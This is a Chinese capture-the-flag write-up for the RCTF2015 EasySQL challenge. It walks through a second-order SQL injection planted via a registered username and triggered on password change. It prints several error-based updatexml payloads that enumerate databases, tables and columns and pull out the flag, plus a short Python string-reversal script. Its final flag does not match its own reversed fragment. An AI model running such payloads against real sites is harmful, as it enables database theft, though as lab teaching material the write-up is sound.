[RCTF2015]EasySQL
[RCTF2015]EasySQL
打开环境,有一个注册一个登录按钮
这里注册的时候有个坑,邮箱那栏你不能输入@xx.com,否则就会报错不允许的字符
fuzz测试一下发现过滤了不少字符
注册完成后登录
首页的文字没有什么有用的信息,进入帐号发现可以修改密码
如果是正常的账号,此时修改密码不会有任何回显
经过前面测试发现反斜杠(\)没被过滤,那么就注册个反斜杠的号(1'\),在修改密码的时候,我们可以看到有明显的错误回显
说明这里是二次注入
由此,我们可以推测出,数据库的查询语句为
select * from 表名 where id="%s" and pwd="密码"
使用报错注入爆库,首先获取数据库信息
1"||updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
将我们注入的值,已表单的形式提交给服务器,相当于注册了一个账号
在修改密码时就发现回显报错,获取库名为web_sqli
获取表名,得到表名为article,flag,users
1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli')),0x7e),1)#
获取表flag的字段名,字段名为~title,content,flag,name,pwd,ema
1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema='web_sqli')||(table_name='flag')),0x7e),1)#
获取flag的内容
1"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#
得到的是个提示——~RCTF{Good job! But flag not her,
换一张表查数据,使用users表,爆破字段
1"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
接下来直接获取字段内容
1"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
得到部分flag{cf294940-c45d-4c8e-9063-63,因为right、left、mid等函数均被过滤,因此使用reverse函数
}fe61b1336036-3609-e8c4-d54c-04,这里为了得到正序flag,使用Python代码进行倒序
letter_num = list(input('please input some characters:'))
list_num = []
def convert_order():
for i in range(len(letter_num)):#根据列表的长度决定遍历的次数
list_num.append(letter_num[len(letter_num) - i - 1])#把letter_num中的值倒序添加到新列表中
print(''.join(list_num))#把''无间隔符添加到list_num中每个元素的中间,总体效果就是把列表转换为字符串
convert_order()
拼接得到flag{cf294940-c45d-4c8e-9063-6306331b16ef}